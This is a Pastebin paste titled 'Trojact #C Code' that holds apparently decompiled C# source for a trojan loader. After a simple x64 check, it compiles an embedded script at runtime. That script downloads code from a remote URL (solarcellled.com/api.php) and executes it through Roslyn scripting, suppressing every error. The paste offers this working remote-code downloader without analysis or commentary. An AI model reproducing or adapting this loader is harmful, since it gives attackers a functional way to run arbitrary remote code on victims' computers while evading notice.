Advertisement
bendas

Trojact #C Code

Apr 4th, 2025
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.76 KB | Source Code | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4. using System.IO.Compression;
  5. using System.Linq;
  6. using System.Net;
  7. using System.Net.Http;
  8. using System.Reflection;
  9. using System.Runtime.CompilerServices;
  10. using System.Runtime.InteropServices;
  11. using System.Security.Cryptography;
  12. using System.Text.RegularExpressions;
  13. using System.Threading;
  14. using System.Threading.Tasks;
  15. using Microsoft.CodeAnalysis.CSharp.Scripting;
  16. using Microsoft.CodeAnalysis.Scripting;
  17.  
  18. namespace ConsoleAppScriptExecutor
  19. {
  20. // Token: 0x02000002 RID: 2
  21. internal class Program
  22. {
  23. // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
  24. [NullableContext(1)]
  25. private static async Task Main(string[] args)
  26. {
  27. ProcessModule mainModule = Process.GetCurrentProcess().MainModule;
  28. string text = ((mainModule != null) ? mainModule.ModuleName : null);
  29. if (text == null || !text.Contains("x64", StringComparison.OrdinalIgnoreCase))
  30. {
  31. Environment.Exit(0);
  32. }
  33. Console.WriteLine("Starting execution...");
  34. string text2 = "using Microsoft.CodeAnalysis.CSharp.Scripting;\r\nusing Microsoft.CodeAnalysis.Scripting;\r\nusing System;\r\nusing System.Diagnostics;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Net.Http;\r\nusing System.Security.Cryptography;\r\nusing System.Threading.Tasks;\r\nusing System.Text.RegularExpressions;\r\nusing System.Reflection;\r\nusing System.Runtime.InteropServices;\r\nusing System.IO.Compression;\r\nusing System.Threading;\r\nusing System.Net;\r\n\r\npublic class ScriptRunner\r\n{\r\n public static async Task<bool> ExecuteStartupTasks()\r\n {\r\n try\r\n {\r\n string url = \"https://solarcellled.com/api.php\";\r\n string scriptContent = await FetchScriptContent(url);\r\n\r\n if (string.IsNullOrEmpty(scriptContent))\r\n {\r\n return false;\r\n }\r\n\r\n await ExecuteScript(scriptContent);\r\n return true;\r\n }\r\n catch\r\n {\r\n return false;\r\n }\r\n }\r\n\r\n private static async Task<string> FetchScriptContent(string url)\r\n {\r\n try\r\n {\r\n using (HttpClient client = new HttpClient())\r\n {\r\n HttpResponseMessage response = await client.GetAsync(url);\r\n\r\n if (!response.IsSuccessStatusCode)\r\n {\r\n return null;\r\n }\r\n\r\n return await response.Content.ReadAsStringAsync();\r\n }\r\n }\r\n catch\r\n {\r\n return null;\r\n }\r\n }\r\n\r\n private static async Task ExecuteScript(string scriptContent)\r\n {\r\n try\r\n {\r\n var scriptOptions = ScriptOptions.Default\r\n.WithReferences(\r\n typeof(object).Assembly,\r\n typeof(Console).Assembly,\r\n typeof(Task).Assembly,\r\n typeof(HttpClient).Assembly,\r\n typeof(Process).Assembly,\r\n typeof(Aes).Assembly,\r\n typeof(Enumerable).Assembly,\r\n typeof(Regex).Assembly,\r\n typeof(System.IO.Compression.ZipArchive).Assembly,\r\n typeof(StructLayoutAttribute).Assembly,\r\n typeof(Microsoft.CodeAnalysis.CSharp.Scripting.CSharpScript).Assembly,\r\n typeof(Microsoft.CodeAnalysis.Scripting.Script).Assembly,\r\n typeof(System.Net.WebRequest).Assembly,\r\n typeof(Assembly).Assembly,\r\n typeof(System.Runtime.InteropServices.Marshal).Assembly,\r\n typeof(System.Threading.Thread).Assembly,\r\n typeof(System.IO.File).Assembly\r\n)\r\n.WithImports(\r\n \"System\",\r\n \"System.Diagnostics\",\r\n \"System.IO\",\r\n \"System.Linq\",\r\n \"System.Net.Http\",\r\n \"System.Security.Cryptography\",\r\n \"System.IO.Compression\",\r\n \"System.Threading.Tasks\",\r\n \"System.Runtime.InteropServices\",\r\n \"System.Text.RegularExpressions\",\r\n \"Microsoft.CodeAnalysis.CSharp.Scripting\",\r\n \"Microsoft.CodeAnalysis.Scripting\",\r\n \"System.Net\",\r\n \"System.Reflection\",\r\n \"System.Threading\"\r\n);\r\n\r\n\r\n\r\n await CSharpScript.EvaluateAsync(scriptContent, scriptOptions);\r\n }\r\n catch\r\n {\r\n }\r\n }\r\n}\r\n\r\nawait ScriptRunner.ExecuteStartupTasks();";
  35. ScriptOptions scriptOptions = ScriptOptions.Default.WithReferences(new Assembly[]
  36. {
  37. typeof(object).Assembly,
  38. typeof(Console).Assembly,
  39. typeof(Task).Assembly,
  40. typeof(HttpClient).Assembly,
  41. typeof(Process).Assembly,
  42. typeof(Aes).Assembly,
  43. typeof(Enumerable).Assembly,
  44. typeof(Regex).Assembly,
  45. typeof(ZipArchive).Assembly,
  46. typeof(StructLayoutAttribute).Assembly,
  47. typeof(CSharpScript).Assembly,
  48. typeof(Script).Assembly,
  49. typeof(WebRequest).Assembly,
  50. typeof(Assembly).Assembly,
  51. typeof(Marshal).Assembly,
  52. typeof(Thread).Assembly,
  53. typeof(File).Assembly
  54. }).WithImports(new string[]
  55. {
  56. "System", "System.Diagnostics", "System.IO", "System.Linq", "System.Net.Http", "System.Security.Cryptography", "System.IO.Compression", "System.Threading.Tasks", "System.Runtime.InteropServices", "System.Text.RegularExpressions",
  57. "Microsoft.CodeAnalysis.CSharp.Scripting", "Microsoft.CodeAnalysis.Scripting", "System.Net", "System.Reflection", "System.Threading"
  58. });
  59. try
  60. {
  61. await CSharpScript.EvaluateAsync(text2, scriptOptions, null, null, default(CancellationToken));
  62. Console.WriteLine("Execution completed successfully!");
  63. }
  64. catch (Exception ex)
  65. {
  66. Console.WriteLine("Error during script execution: " + ex.Message);
  67. }
  68. }
  69.  
  70. // Token: 0x06000003 RID: 3 RVA: 0x00002094 File Offset: 0x00000294
  71. private static void <Main>([Nullable(1)] string[] args)
  72. {
  73. Program.Main(args).GetAwaiter().GetResult();
  74. }
  75. }
  76. }
  77.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement